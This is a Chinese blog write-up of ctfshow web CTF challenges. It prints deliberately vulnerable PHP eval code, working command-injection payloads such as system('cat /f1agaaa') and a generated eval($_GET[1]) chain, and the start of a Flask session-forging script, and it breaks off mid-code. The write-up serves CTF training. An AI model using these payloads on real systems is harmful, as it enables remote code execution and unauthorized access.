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最新推荐文章于 2024-05-01 02:51:59 发布

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最新推荐文章于 2024-05-01 02:51:59 发布

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分类专栏： wp 文章标签： web安全

本文链接：https://blog.csdn.net/mmmjjjjjj1996/article/details/127857421

版权

本文详细介绍了ctfshow菜狗杯中的多个WEB挑战，包括文件读取、断言利用、JavaScript源码分析、游戏漏洞利用等，通过payload和exp揭示了解题思路和技巧。

摘要由CSDN通过智能技术生成

web1 web签到

题目代码如下：

<?php

error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

payload:

http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");
post: a=b
cookie:CTFshow-QQ群:a

web2 c0me_t0_s1gn

查看js，控制台运行g1ve_flag()即可

web3 我的眼里只有$

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:18:37
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

exp:

$str="_=__";
$res="";
echo "_=__&";
for ($i=0; $i < 34; $i++) { 
        $str="_".$str."_";
        echo $str."&";
        if($i==33){
                echo explode("=", $str)[1]."=eval(\$_GET[1]);";
        }
}

payload:

_=__&__=___&___=____&____=_____&_____=______&______=_______&_______=________&________=_________&_________=__________&__________=___________&___________=____________&____________=_____________&_____________=______________&______________=_______________&_______________=________________&________________=_________________&_________________=__________________&__________________=___________________&___________________=____________________&____________________=_____________________&_____________________=______________________&______________________=_______________________&_______________________=________________________&________________________=_________________________&_________________________=__________________________&__________________________=___________________________&___________________________=____________________________&____________________________=_____________________________&_____________________________=______________________________&______________________________=_______________________________&_______________________________=________________________________&________________________________=_________________________________&_________________________________=__________________________________&__________________________________=___________________________________&___________________________________=____________________________________&____________________________________=eval($_GET[1]);

web4 抽老婆

可以发现在/dowload路由下有一个任意文件读取，在debug页面可以看到源码在/app/app.py

获取到源代码发现flask的key，伪造admin的session。

flask_session_cookie_manager3.py工具脚本

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try: